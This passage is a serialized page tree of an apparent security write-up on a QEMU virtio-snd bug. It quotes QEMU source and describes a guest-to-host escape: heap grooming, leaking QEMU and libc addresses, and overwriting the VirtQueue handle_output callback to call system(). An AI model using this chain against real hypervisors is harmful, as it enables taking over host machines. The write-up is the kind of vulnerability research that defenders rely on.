VIRTIO_SND",{"type":26,"tag":217,"props":41428,"children":41429},{"style":7048},[41430],{"type":32,"value":41431},"(vdev);\n",{"type":26,"tag":217,"props":41433,"children":41434},{"class":7028,"line":7140},[41435,41439,41443],{"type":26,"tag":217,"props":41436,"children":41437},{"style":7048},[41438],{"type":32,"value":35609},{"type":26,"tag":217,"props":41440,"children":41441},{"style":7149},[41442],{"type":32,"value":10006},{"type":26,"tag":217,"props":41444,"children":41445},{"style":7048},[41446],{"type":32,"value":35618},{"type":26,"tag":217,"props":41448,"children":41449},{"class":7028,"line":7165},[41450,41454,41458],{"type":26,"tag":217,"props":41451,"children":41452},{"style":7048},[41453],{"type":32,"value":34630},{"type":26,"tag":217,"props":41455,"children":41456},{"style":7149},[41457],{"type":32,"value":10006},{"type":26,"tag":217,"props":41459,"children":41460},{"style":7048},[41461],{"type":32,"value":34639},{"type":26,"tag":217,"props":41463,"children":41464},{"class":7028,"line":7178},[41465,41469],{"type":26,"tag":217,"props":41466,"children":41467},{"style":7154},[41468],{"type":32,"value":12306},{"type":26,"tag":217,"props":41470,"children":41471},{"style":7048},[41472],{"type":32,"value":41473}," msg_sz, size;\n",{"type":26,"tag":217,"props":41475,"children":41476},{"class":7028,"line":7389},[41477,41482],{"type":26,"tag":217,"props":41478,"children":41479},{"style":7154},[41480],{"type":32,"value":41481},"    uint32_t",{"type":26,"tag":217,"props":41483,"children":41484},{"style":7048},[41485],{"type":32,"value":41486}," stream_id;\n",{"type":26,"tag":217,"props":41488,"children":41489},{"class":7028,"line":7406},[41490],{"type":26,"tag":217,"props":41491,"children":41492},{"emptyLinePlaceholder":17},[41493],{"type":32,"value":7817},{"type":26,"tag":217,"props":41495,"children":41496},{"class":7028,"line":7439},[41497],{"type":26,"tag":217,"props":41498,"children":41499},{"style":7048},[41500],{"type":32,"value":34647},{"type":26,"tag":217,"props":41502,"children":41503},{"class":7028,"line":7487},[41504],{"type":26,"tag":217,"props":41505,"children":41506},{"emptyLinePlaceholder":17},[41507],{"type":32,"value":7817},{"type":26,"tag":217,"props":41509,"children":41510},{"class":7028,"line":7524},[41511,41515],{"type":26,"tag":217,"props":41512,"children":41513},{"style":7042},[41514],{"type":32,"value":12461},{"type":26,"tag":217,"props":41516,"children":41517},{"style":7048},[41518],{"type":32,"value":34666},{"type":26,"tag":217,"props":41520,"children":41521},{"class":7028,"line":7553},[41522,41526,41530],{"type":26,"tag":217,"props":41523,"children":41524},{"style":7048},[41525],{"type":32,"value":34674},{"type":26,"tag":217,"props":41527,"children":41528},{"style":7149},[41529],{"type":32,"value":10006},{"type":26,"tag":217,"props":41531,"children":41532},{"style":7048},[41533],{"type":32,"value":34683},{"type":26,"tag":217,"props":41535,"children":41536},{"class":7028,"line":7570},[41537],{"type":26,"tag":217,"props":41538,"children":41539},{"emptyLinePlaceholder":17},[41540],{"type":32,"value":7817},{"type":26,"tag":217,"props":41542,"children":41543},{"class":7028,"line":7621},[41544,41548,41552,41556,41560,41564],{"type":26,"tag":217,"props":41545,"children":41546},{"style":7048},[41547],{"type":32,"value":34698},{"type":26,"tag":217,"props":41549,"children":41550},{"style":7149},[41551],{"type":32,"value":267},{"type":26,"tag":217,"props":41553,"children":41554},{"style":7064},[41555],{"type":32,"value":34707},{"type":26,"tag":217,"props":41557,"children":41558},{"style":7048},[41559],{"type":32,"value":34712},{"type":26,"tag":217,"props":41561,"children":41562},{"style":7154},[41563],{"type":32,"value":34717},{"type":26,"tag":217,"props":41565,"children":41566},{"style":7048},[41567],{"type":32,"value":41568},"(VirtQueueElement));\n",{"type":26,"tag":217,"props":41570,"children":41571},{"class":7028,"line":7672},[41572,41576,41580,41584],{"type":26,"tag":217,"props":41573,"children":41574},{"style":7042},[41575],{"type":32,"value":12497},{"type":26,"tag":217,"props":41577,"children":41578},{"style":7048},[41579],{"type":32,"value":7051},{"type":26,"tag":217,"props":41581,"children":41582},{"style":7149},[41583],{"type":32,"value":11704},{"type":26,"tag":217,"props":41585,"children":41586},{"style":7048},[41587],{"type":32,"value":34747},{"type":26,"tag":217,"props":41589,"children":41590},{"class":7028,"line":7681},[41591,41595],{"type":26,"tag":217,"props":41592,"children":41593},{"style":7042},[41594],{"type":32,"value":34755},{"type":26,"tag":217,"props":41596,"children":41597},{"style":7048},[41598],{"type":32,"value":7162},{"type":26,"tag":217,"props":41600,"children":41601},{"class":7028,"line":7754},[41602],{"type":26,"tag":217,"props":41603,"children":41604},{"style":7048},[41605],{"type":32,"value":8722},{"type":26,"tag":217,"props":41607,"children":41608},{"class":7028,"line":7784},[41609],{"type":26,"tag":217,"props":41610,"children":41611},{"style":7033},[41612],{"type":32,"value":41613},"        /* get the message hdr object */\n",{"type":26,"tag":217,"props":41615,"children":41616},{"class":7028,"line":7802},[41617,41622,41626,41631,41635,41639,41643,41647],{"type":26,"tag":217,"props":41618,"children":41619},{"style":7048},[41620],{"type":32,"value":41621},"        msg_sz ",{"type":26,"tag":217,"props":41623,"children":41624},{"style":7149},[41625],{"type":32,"value":267},{"type":26,"tag":217,"props":41627,"children":41628},{"style":7064},[41629],{"type":32,"value":41630}," iov_to_buf",{"type":26,"tag":217,"props":41632,"children":41633},{"style":7048},[41634],{"type":32,"value":1851},{"type":26,"tag":217,"props":41636,"children":41637},{"style":7054},[41638],{"type":32,"value":34846},{"type":26,"tag":217,"props":41640,"children":41641},{"style":7048},[41642],{"type":32,"value":10115},{"type":26,"tag":217,"props":41644,"children":41645},{"style":7054},[41646],{"type":32,"value":35153},{"type":26,"tag":217,"props":41648,"children":41649},{"style":7048},[41650],{"type":32,"value":10953},{"type":26,"tag":217,"props":41652,"children":41653},{"class":7028,"line":7811},[41654,41659,41663,41668],{"type":26,"tag":217,"props":41655,"children":41656},{"style":7054},[41657],{"type":32,"value":41658},"                            elem",{"type":26,"tag":217,"props":41660,"children":41661},{"style":7048},[41662],{"type":32,"value":10115},{"type":26,"tag":217,"props":41664,"children":41665},{"style":7054},[41666],{"type":32,"value":41667},"out_num",{"type":26,"tag":217,"props":41669,"children":41670},{"style":7048},[41671],{"type":32,"value":10953},{"type":26,"tag":217,"props":41673,"children":41674},{"class":7028,"line":7820},[41675,41680],{"type":26,"tag":217,"props":41676,"children":41677},{"style":7130},[41678],{"type":32,"value":41679},"                            0",{"type":26,"tag":217,"props":41681,"children":41682},{"style":7048},[41683],{"type":32,"value":10953},{"type":26,"tag":217,"props":41685,"children":41686},{"class":7028,"line":7844},[41687,41692],{"type":26,"tag":217,"props":41688,"children":41689},{"style":7149},[41690],{"type":32,"value":41691},"                            &",{"type":26,"tag":217,"props":41693,"children":41694},{"style":7048},[41695],{"type":32,"value":41696},"hdr,\n",{"type":26,"tag":217,"props":41698,"children":41699},{"class":7028,"line":7910},[41700,41705],{"type":26,"tag":217,"props":41701,"children":41702},{"style":7154},[41703],{"type":32,"value":41704},"                            sizeof",{"type":26,"tag":217,"props":41706,"children":41707},{"style":7048},[41708],{"type":32,"value":41709},"(virtio_snd_pcm_xfer));\n",{"type":26,"tag":217,"props":41711,"children":41712},{"class":7028,"line":7954},[41713,41717,41722,41726,41731],{"type":26,"tag":217,"props":41714,"children":41715},{"style":7042},[41716],{"type":32,"value":12497},{"type":26,"tag":217,"props":41718,"children":41719},{"style":7048},[41720],{"type":32,"value":41721}," (msg_sz ",{"type":26,"tag":217,"props":41723,"children":41724},{"style":7149},[41725],{"type":32,"value":9720},{"type":26,"tag":217,"props":41727,"children":41728},{"style":7154},[41729],{"type":32,"value":41730}," sizeof",{"type":26,"tag":217,"props":41732,"children":41733},{"style":7048},[41734],{"type":32,"value":41735},"(virtio_snd_pcm_xfer)) {\n",{"type":26,"tag":217,"props":41737,"children":41738},{"class":7028,"line":7985},[41739,41743],{"type":26,"tag":217,"props":41740,"children":41741},{"style":7042},[41742],{"type":32,"value":40931},{"type":26,"tag":217,"props":41744,"children":41745},{"style":7048},[41746],{"type":32,"value":41747}," rx_err;\n",{"type":26,"tag":217,"props":41749,"children":41750},{"class":7028,"line":8027},[41751],{"type":26,"tag":217,"props":41752,"children":41753},{"style":7048},[41754],{"type":32,"value":8722},{"type":26,"tag":217,"props":41756,"children":41757},{"class":7028,"line":8035},[41758,41763,41767,41771,41775,41780,41784,41789],{"type":26,"tag":217,"props":41759,"children":41760},{"style":7048},[41761],{"type":32,"value":41762},"        stream_id ",{"type":26,"tag":217,"props":41764,"children":41765},{"style":7149},[41766],{"type":32,"value":267},{"type":26,"tag":217,"props":41768,"children":41769},{"style":7064},[41770],{"type":32,"value":36621},{"type":26,"tag":217,"props":41772,"children":41773},{"style":7048},[41774],{"type":32,"value":1851},{"type":26,"tag":217,"props":41776,"children":41777},{"style":7054},[41778],{"type":32,"value":41779},"hdr",{"type":26,"tag":217,"props":41781,"children":41782},{"style":7048},[41783],{"type":32,"value":180},{"type":26,"tag":217,"props":41785,"children":41786},{"style":7054},[41787],{"type":32,"value":41788},"stream_id",{"type":26,"tag":217,"props":41790,"children":41791},{"style":7048},[41792],{"type":32,"value":7669},{"type":26,"tag":217,"props":41794,"children":41795},{"class":7028,"line":8067},[41796],{"type":26,"tag":217,"props":41797,"children":41798},{"emptyLinePlaceholder":17},[41799],{"type":32,"value":7817},{"type":26,"tag":217,"props":41801,"children":41802},{"class":7028,"line":8107},[41803],{"type":26,"tag":217,"props":41804,"children":41805},{"style":7048},[41806],{"type":32,"value":15028},{"type":26,"tag":217,"props":41808,"children":41809},{"class":7028,"line":8145},[41810],{"type":26,"tag":217,"props":41811,"children":41812},{"emptyLinePlaceholder":17},[41813],{"type":32,"value":7817},{"type":26,"tag":217,"props":41815,"children":41816},{"class":7028,"line":8154},[41817,41821,41825,41829,41833,41837,41841],{"type":26,"tag":217,"props":41818,"children":41819},{"style":7064},[41820],{"type":32,"value":34795},{"type":26,"tag":217,"props":41822,"children":41823},{"style":7048},[41824],{"type":32,"value":1851},{"type":26,"tag":217,"props":41826,"children":41827},{"style":7149},[41828],{"type":32,"value":9804},{"type":26,"tag":217,"props":41830,"children":41831},{"style":7054},[41832],{"type":32,"value":7978},{"type":26,"tag":217,"props":41834,"children":41835},{"style":7048},[41836],{"type":32,"value":10115},{"type":26,"tag":217,"props":41838,"children":41839},{"style":7054},[41840],{"type":32,"value":34816},{"type":26,"tag":217,"props":41842,"children":41843},{"style":7048},[41844],{"type":32,"value":7618},{"type":26,"tag":217,"props":41846,"children":41847},{"class":7028,"line":8162},[41848,41852,41856,41860,41864,41868,41872,41876,41880,41884,41888,41892,41896],{"type":26,"tag":217,"props":41849,"children":41850},{"style":7048},[41851],{"type":32,"value":34828},{"type":26,"tag":217,"props":41853,"children":41854},{"style":7149},[41855],{"type":32,"value":267},{"type":26,"tag":217,"props":41857,"children":41858},{"style":7064},[41859],{"type":32,"value":34837},{"type":26,"tag":217,"props":41861,"children":41862},{"style":7048},[41863],{"type":32,"value":1851},{"type":26,"tag":217,"props":41865,"children":41866},{"style":7054},[41867],{"type":32,"value":34846},{"type":26,"tag":217,"props":41869,"children":41870},{"style":7048},[41871],{"type":32,"value":10115},{"type":26,"tag":217,"props":41873,"children":41874},{"style":7054},[41875],{"type":32,"value":34855},{"type":26,"tag":217,"props":41877,"children":41878},{"style":7048},[41879],{"type":32,"value":7599},{"type":26,"tag":217,"props":41881,"children":41882},{"style":7054},[41883],{"type":32,"value":34846},{"type":26,"tag":217,"props":41885,"children":41886},{"style":7048},[41887],{"type":32,"value":10115},{"type":26,"tag":217,"props":41889,"children":41890},{"style":7054},[41891],{"type":32,"value":34872},{"type":26,"tag":217,"props":41893,"children":41894},{"style":7048},[41895],{"type":32,"value":8380},{"type":26,"tag":217,"props":41897,"children":41898},{"style":7149},[41899],{"type":32,"value":34881},{"type":26,"tag":217,"props":41901,"children":41902},{"class":7028,"line":8197},[41903,41907],{"type":26,"tag":217,"props":41904,"children":41905},{"style":7154},[41906],{"type":32,"value":34889},{"type":26,"tag":217,"props":41908,"children":41909},{"style":7048},[41910],{"type":32,"value":41911},"(virtio_snd_pcm_status);\n",{"type":26,"tag":217,"props":41913,"children":41914},{"class":7028,"line":8220},[41915,41919,41923,41927,41931,41935,41939,41943,41948],{"type":26,"tag":217,"props":41916,"children":41917},{"style":7048},[41918],{"type":32,"value":34907},{"type":26,"tag":217,"props":41920,"children":41921},{"style":7149},[41922],{"type":32,"value":267},{"type":26,"tag":217,"props":41924,"children":41925},{"style":7064},[41926],{"type":32,"value":34916},{"type":26,"tag":217,"props":41928,"children":41929},{"style":7048},[41930],{"type":32,"value":1851},{"type":26,"tag":217,"props":41932,"children":41933},{"style":7154},[41934],{"type":32,"value":34717},{"type":26,"tag":217,"props":41936,"children":41937},{"style":7048},[41938],{"type":32,"value":34929},{"type":26,"tag":217,"props":41940,"children":41941},{"style":7149},[41942],{"type":32,"value":3540},{"type":26,"tag":217,"props":41944,"children":41945},{"style":7048},[41946],{"type":32,"value":41947}," size);",{"type":26,"tag":217,"props":41949,"children":41950},{"style":7033},[41951],{"type":32,"value":41952},"    // [1]\n",{"type":26,"tag":217,"props":41954,"children":41955},{"class":7028,"line":8228},[41956,41960,41964,41968,41972],{"type":26,"tag":217,"props":41957,"children":41958},{"style":7054},[41959],{"type":32,"value":34946},{"type":26,"tag":217,"props":41961,"children":41962},{"style":7048},[41963],{"type":32,"value":10115},{"type":26,"tag":217,"props":41965,"children":41966},{"style":7054},[41967],{"type":32,"value":34846},{"type":26,"tag":217,"props":41969,"children":41970},{"style":7149},[41971],{"type":32,"value":8993},{"type":26,"tag":217,"props":41973,"children":41974},{"style":7048},[41975],{"type":32,"value":34963},{"type":26,"tag":217,"props":41977,"children":41978},{"class":7028,"line":8292},[41979,41983,41987,41991,41995,42000],{"type":26,"tag":217,"props":41980,"children":41981},{"style":7054},[41982],{"type":32,"value":34946},{"type":26,"tag":217,"props":41984,"children":41985},{"style":7048},[41986],{"type":32,"value":10115},{"type":26,"tag":217,"props":41988,"children":41989},{"style":7054},[41990],{"type":32,"value":34611},{"type":26,"tag":217,"props":41992,"children":41993},{"style":7149},[41994],{"type":32,"value":8993},{"type":26,"tag":217,"props":41996,"children":41997},{"style":7048},[41998],{"type":32,"value":41999}," vq;",{"type":26,"tag":217,"props":42001,"children":42002},{"style":7033},[42003],{"type":32,"value":42004},"                                            // [2]\n",{"type":26,"tag":217,"props":42006,"children":42007},{"class":7028,"line":8351},[42008,42012,42016,42020,42024,42028],{"type":26,"tag":217,"props":42009,"children":42010},{"style":7054},[42011],{"type":32,"value":34946},{"type":26,"tag":217,"props":42013,"children":42014},{"style":7048},[42015],{"type":32,"value":10115},{"type":26,"tag":217,"props":42017,"children":42018},{"style":7054},[42019],{"type":32,"value":12431},{"type":26,"tag":217,"props":42021,"children":42022},{"style":7149},[42023],{"type":32,"value":8993},{"type":26,"tag":217,"props":42025,"children":42026},{"style":7130},[42027],{"type":32,"value":9922},{"type":26,"tag":217,"props":42029,"children":42030},{"style":7048},[42031],{"type":32,"value":7162},{"type":26,"tag":217,"props":42033,"children":42034},{"class":7028,"line":8391},[42035,42039,42043,42047,42051,42055],{"type":26,"tag":217,"props":42036,"children":42037},{"style":7054},[42038],{"type":32,"value":34946},{"type":26,"tag":217,"props":42040,"children":42041},{"style":7048},[42042],{"type":32,"value":10115},{"type":26,"tag":217,"props":42044,"children":42045},{"style":7054},[42046],{"type":32,"value":35030},{"type":26,"tag":217,"props":42048,"children":42049},{"style":7149},[42050],{"type":32,"value":8993},{"type":26,"tag":217,"props":42052,"children":42053},{"style":7130},[42054],{"type":32,"value":9922},{"type":26,"tag":217,"props":42056,"children":42057},{"style":7048},[42058],{"type":32,"value":7162},{"type":26,"tag":217,"props":42060,"children":42061},{"class":7028,"line":8439},[42062,42066,42070,42074,42078,42082,42086],{"type":26,"tag":217,"props":42063,"children":42064},{"style":7064},[42065],{"type":32,"value":35050},{"type":26,"tag":217,"props":42067,"children":42068},{"style":7048},[42069],{"type":32,"value":1851},{"type":26,"tag":217,"props":42071,"children":42072},{"style":7149},[42073],{"type":32,"value":9804},{"type":26,"tag":217,"props":42075,"children":42076},{"style":7054},[42077],{"type":32,"value":7978},{"type":26,"tag":217,"props":42079,"children":42080},{"style":7048},[42081],{"type":32,"value":10115},{"type":26,"tag":217,"props":42083,"children":42084},{"style":7054},[42085],{"type":32,"value":35071},{"type":26,"tag":217,"props":42087,"children":42088},{"style":7048},[42089],{"type":32,"value":42090},", buffer, entry);\n",{"type":26,"tag":217,"props":42092,"children":42093},{"class":7028,"line":8448},[42094],{"type":26,"tag":217,"props":42095,"children":42096},{"style":7048},[42097],{"type":32,"value":8722},{"type":26,"tag":39,"props":42099,"children":42100},{},[42101,42102,42107,42109,42114,42116,42121,42123,42129],{"type":32,"value":35126},{"type":26,"tag":83,"props":42103,"children":42105},{"className":42104},[],[42106],{"type":32,"value":35132},{"type":32,"value":42108},", QEMU allocates a ",{"type":26,"tag":83,"props":42110,"children":42112},{"className":42111},[],[42113],{"type":32,"value":35268},{"type":32,"value":42115}," whose size depends on the guest-provided iovec, and at ",{"type":26,"tag":83,"props":42117,"children":42119},{"className":42118},[],[42120],{"type":32,"value":35166},{"type":32,"value":42122}," it stores the ",{"type":26,"tag":83,"props":42124,"children":42126},{"className":42125},[],[42127],{"type":32,"value":42128},"VirtQueue *vq",{"type":32,"value":42130}," pointer into the buffer.",{"type":26,"tag":39,"props":42132,"children":42133},{},[42134,42135,42141],{"type":32,"value":14464},{"type":26,"tag":83,"props":42136,"children":42138},{"className":42137},[],[42139],{"type":32,"value":42140},"VirtQueue",{"type":32,"value":42142}," structure contains some useful fields:",{"type":26,"tag":207,"props":42144,"children":42146},{"code":42145,"language":2255,"meta":8,"className":9574,"style":8},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[42147],{"type":26,"tag":83,"props":42148,"children":42149},{"__ignoreMap":8},[42150,42162,42169,42176,42183,42191,42208,42215,42222],{"type":26,"tag":217,"props":42151,"children":42152},{"class":7028,"line":7029},[42153,42157],{"type":26,"tag":217,"props":42154,"children":42155},{"style":7154},[42156],{"type":32,"value":12224},{"type":26,"tag":217,"props":42158,"children":42159},{"style":7048},[42160],{"type":32,"value":42161}," VirtQueue\n",{"type":26,"tag":217,"props":42163,"children":42164},{"class":7028,"line":6770},[42165],{"type":26,"tag":217,"props":42166,"children":42167},{"style":7048},[42168],{"type":32,"value":10033},{"type":26,"tag":217,"props":42170,"children":42171},{"class":7028,"line":6779},[42172],{"type":26,"tag":217,"props":42173,"children":42174},{"style":7048},[42175],{"type":32,"value":34647},{"type":26,"tag":217,"props":42177,"children":42178},{"class":7028,"line":7140},[42179],{"type":26,"tag":217,"props":42180,"children":42181},{"emptyLinePlaceholder":17},[42182],{"type":32,"value":7817},{"type":26,"tag":217,"props":42184,"children":42185},{"class":7028,"line":7165},[42186],{"type":26,"tag":217,"props":42187,"children":42188},{"style":7048},[42189],{"type":32,"value":42190},"    VirtIOHandleOutput handle_output;\n",{"type":26,"tag":217,"props":42192,"children":42193},{"class":7028,"line":7178},[42194,42199,42203],{"type":26,"tag":217,"props":42195,"children":42196},{"style":7048},[42197],{"type":32,"value":42198},"    VirtIODevice ",{"type":26,"tag":217,"props":42200,"children":42201},{"style":7149},[42202],{"type":32,"value":10006},{"type":26,"tag":217,"props":42204,"children":42205},{"style":7048},[42206],{"type":32,"value":42207},"vdev;\n",{"type":26,"tag":217,"props":42209,"children":42210},{"class":7028,"line":7389},[42211],{"type":26,"tag":217,"props":42212,"children":42213},{"emptyLinePlaceholder":17},[42214],{"type":32,"value":7817},{"type":26,"tag":217,"props":42216,"children":42217},{"class":7028,"line":7406},[42218],{"type":26,"tag":217,"props":42219,"children":42220},{"style":7048},[42221],{"type":32,"value":34647},{"type":26,"tag":217,"props":42223,"children":42224},{"class":7028,"line":7439},[42225],{"type":26,"tag":217,"props":42226,"children":42227},{"style":7048},[42228],{"type":32,"value":12331},{"type":26,"tag":39,"props":42230,"children":42231},{},[42232,42233,42239,42241,42247],{"type":32,"value":475},{"type":26,"tag":83,"props":42234,"children":42236},{"className":42235},[],[42237],{"type":32,"value":42238},".handle_output",{"type":32,"value":42240}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":26,"tag":83,"props":42242,"children":42244},{"className":42243},[],[42245],{"type":32,"value":42246},".vdev",{"type":32,"value":42248}," is the pointer passed to it as the first argument:",{"type":26,"tag":207,"props":42250,"children":42252},{"code":42251,"language":2255,"meta":8,"className":9574,"style":8},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[42253],{"type":26,"tag":83,"props":42254,"children":42255},{"__ignoreMap":8},[42256,42289,42296,42351,42388,42395,42402,42409,42430,42437,42444,42451],{"type":26,"tag":217,"props":42257,"children":42258},{"class":7028,"line":7029},[42259,42263,42267,42272,42277,42281,42285],{"type":26,"tag":217,"props":42260,"children":42261},{"style":7154},[42262],{"type":32,"value":9987},{"type":26,"tag":217,"props":42264,"children":42265},{"style":7154},[42266],{"type":32,"value":8936},{"type":26,"tag":217,"props":42268,"children":42269},{"style":7064},[42270],{"type":32,"value":42271}," virtio_queue_notify_vq",{"type":26,"tag":217,"props":42273,"children":42274},{"style":7048},[42275],{"type":32,"value":42276},"(VirtQueue ",{"type":26,"tag":217,"props":42278,"children":42279},{"style":7149},[42280],{"type":32,"value":10006},{"type":26,"tag":217,"props":42282,"children":42283},{"style":7054},[42284],{"type":32,"value":34611},{"type":26,"tag":217,"props":42286,"children":42287},{"style":7048},[42288],{"type":32,"value":10025},{"type":26,"tag":217,"props":42290,"children":42291},{"class":7028,"line":6770},[42292],{"type":26,"tag":217,"props":42293,"children":42294},{"style":7048},[42295],{"type":32,"value":10033},{"type":26,"tag":217,"props":42297,"children":42298},{"class":7028,"line":6779},[42299,42303,42307,42311,42315,42320,42324,42329,42333,42338,42342,42347],{"type":26,"tag":217,"props":42300,"children":42301},{"style":7042},[42302],{"type":32,"value":9710},{"type":26,"tag":217,"props":42304,"children":42305},{"style":7048},[42306],{"type":32,"value":7051},{"type":26,"tag":217,"props":42308,"children":42309},{"style":7054},[42310],{"type":32,"value":34611},{"type":26,"tag":217,"props":42312,"children":42313},{"style":7048},[42314],{"type":32,"value":10115},{"type":26,"tag":217,"props":42316,"children":42317},{"style":7054},[42318],{"type":32,"value":42319},"vring",{"type":26,"tag":217,"props":42321,"children":42322},{"style":7048},[42323],{"type":32,"value":180},{"type":26,"tag":217,"props":42325,"children":42326},{"style":7054},[42327],{"type":32,"value":42328},"desc",{"type":26,"tag":217,"props":42330,"children":42331},{"style":7149},[42332],{"type":32,"value":38514},{"type":26,"tag":217,"props":42334,"children":42335},{"style":7054},[42336],{"type":32,"value":42337}," vq",{"type":26,"tag":217,"props":42339,"children":42340},{"style":7048},[42341],{"type":32,"value":10115},{"type":26,"tag":217,"props":42343,"children":42344},{"style":7054},[42345],{"type":32,"value":42346},"handle_output",{"type":26,"tag":217,"props":42348,"children":42349},{"style":7048},[42350],{"type":32,"value":7618},{"type":26,"tag":217,"props":42352,"children":42353},{"class":7028,"line":7140},[42354,42359,42363,42368,42372,42376,42380,42384],{"type":26,"tag":217,"props":42355,"children":42356},{"style":7048},[42357],{"type":32,"value":42358},"        VirtIODevice ",{"type":26,"tag":217,"props":42360,"children":42361},{"style":7149},[42362],{"type":32,"value":10006},{"type":26,"tag":217,"props":42364,"children":42365},{"style":7048},[42366],{"type":32,"value":42367},"vdev ",{"type":26,"tag":217,"props":42369,"children":42370},{"style":7149},[42371],{"type":32,"value":267},{"type":26,"tag":217,"props":42373,"children":42374},{"style":7054},[42375],{"type":32,"value":42337},{"type":26,"tag":217,"props":42377,"children":42378},{"style":7048},[42379],{"type":32,"value":10115},{"type":26,"tag":217,"props":42381,"children":42382},{"style":7054},[42383],{"type":32,"value":34597},{"type":26,"tag":217,"props":42385,"children":42386},{"style":7048},[42387],{"type":32,"value":7162},{"type":26,"tag":217,"props":42389,"children":42390},{"class":7028,"line":7165},[42391],{"type":26,"tag":217,"props":42392,"children":42393},{"emptyLinePlaceholder":17},[42394],{"type":32,"value":7817},{"type":26,"tag":217,"props":42396,"children":42397},{"class":7028,"line":7178},[42398],{"type":26,"tag":217,"props":42399,"children":42400},{"style":7048},[42401],{"type":32,"value":15028},{"type":26,"tag":217,"props":42403,"children":42404},{"class":7028,"line":7389},[42405],{"type":26,"tag":217,"props":42406,"children":42407},{"emptyLinePlaceholder":17},[42408],{"type":32,"value":7817},{"type":26,"tag":217,"props":42410,"children":42411},{"class":7028,"line":7406},[42412,42417,42421,42425],{"type":26,"tag":217,"props":42413,"children":42414},{"style":7054},[42415],{"type":32,"value":42416},"        vq",{"type":26,"tag":217,"props":42418,"children":42419},{"style":7048},[42420],{"type":32,"value":10115},{"type":26,"tag":217,"props":42422,"children":42423},{"style":7064},[42424],{"type":32,"value":42346},{"type":26,"tag":217,"props":42426,"children":42427},{"style":7048},[42428],{"type":32,"value":42429},"(vdev, vq);\n",{"type":26,"tag":217,"props":42431,"children":42432},{"class":7028,"line":7439},[42433],{"type":26,"tag":217,"props":42434,"children":42435},{"emptyLinePlaceholder":17},[42436],{"type":32,"value":7817},{"type":26,"tag":217,"props":42438,"children":42439},{"class":7028,"line":7487},[42440],{"type":26,"tag":217,"props":42441,"children":42442},{"style":7048},[42443],{"type":32,"value":15028},{"type":26,"tag":217,"props":42445,"children":42446},{"class":7028,"line":7524},[42447],{"type":26,"tag":217,"props":42448,"children":42449},{"style":7048},[42450],{"type":32,"value":9754},{"type":26,"tag":217,"props":42452,"children":42453},{"class":7028,"line":7553},[42454],{"type":26,"tag":217,"props":42455,"children":42456},{"style":7048},[42457],{"type":32,"value":7184},{"type":26,"tag":39,"props":42459,"children":42460},{},[42461,42463,42468,42470,42475,42477,42483,42485,42490,42492,42497,42499,42504],{"type":32,"value":42462},"This means that if we free the known-address chunk and replace it with a ",{"type":26,"tag":83,"props":42464,"children":42466},{"className":42465},[],[42467],{"type":32,"value":35268},{"type":32,"value":42469}," - which is straightforward, since we control the buffer allocation size through the ",{"type":26,"tag":83,"props":42471,"children":42473},{"className":42472},[],[42474],{"type":32,"value":34855},{"type":32,"value":42476}," iovec - we can use the arbitrary read primitive to read its ",{"type":26,"tag":83,"props":42478,"children":42480},{"className":42479},[],[42481],{"type":32,"value":42482},".vq",{"type":32,"value":42484}," pointer, then follow that pointer to leak ",{"type":26,"tag":83,"props":42486,"children":42488},{"className":42487},[],[42489],{"type":32,"value":42238},{"type":32,"value":42491}," from the ",{"type":26,"tag":83,"props":42493,"children":42495},{"className":42494},[],[42496],{"type":32,"value":42140},{"type":32,"value":42498}," structure. In our case, that field points to ",{"type":26,"tag":83,"props":42500,"children":42502},{"className":42501},[],[42503],{"type":32,"value":34502},{"type":32,"value":42505},", which gives us QEMU's base address.",{"type":26,"tag":39,"props":42507,"children":42508},{},[42509,42511,42516],{"type":32,"value":42510},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":26,"tag":83,"props":42512,"children":42514},{"className":42513},[],[42515],{"type":32,"value":18332},{"type":32,"value":180},{"type":26,"tag":607,"props":42518,"children":42520},{"id":42519},"rip-control",[42521],{"type":32,"value":42522},"RIP Control",{"type":26,"tag":39,"props":42524,"children":42525},{},[42526,42528,42533,42535,42541],{"type":32,"value":42527},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":26,"tag":83,"props":42529,"children":42531},{"className":42530},[],[42532],{"type":32,"value":18332},{"type":32,"value":42534},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":26,"tag":83,"props":42536,"children":42538},{"className":42537},[],[42539],{"type":32,"value":42540},"VirtQueue.handle_output",{"type":32,"value":180},{"type":26,"tag":39,"props":42543,"children":42544},{},[42545,42547,42552,42554,42559,42561,42566],{"type":32,"value":42546},"We overwrite ",{"type":26,"tag":83,"props":42548,"children":42550},{"className":42549},[],[42551],{"type":32,"value":42238},{"type":32,"value":42553}," with the address of ",{"type":26,"tag":83,"props":42555,"children":42557},{"className":42556},[],[42558],{"type":32,"value":18332},{"type":32,"value":42560}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":26,"tag":83,"props":42562,"children":42564},{"className":42563},[],[42565],{"type":32,"value":42246},{"type":32,"value":42567}," with the address of that command string, so it is passed as the first argument.",{"type":26,"tag":39,"props":42569,"children":42570},{},[42571,42573,42579,42581,42587,42589,42595],{"type":32,"value":42572},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":26,"tag":83,"props":42574,"children":42576},{"className":42575},[],[42577],{"type":32,"value":42578},"virtio_queue_notify_vq",{"type":32,"value":42580},", which calls ",{"type":26,"tag":83,"props":42582,"children":42584},{"className":42583},[],[42585],{"type":32,"value":42586},"vq->handle_output(vq->vdev)",{"type":32,"value":42588}," - or, after our overwrites, ",{"type":26,"tag":83,"props":42590,"children":42592},{"className":42591},[],[42593],{"type":32,"value":42594},"system(command)",{"type":32,"value":180},{"type":26,"tag":39,"props":42597,"children":42598},{},[42599,42601,42607,42609],{"type":32,"value":42600},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":26,"tag":83,"props":42602,"children":42604},{"className":42603},[],[42605],{"type":32,"value":42606},"gnome-calculator",{"type":32,"value":42608}," on the host 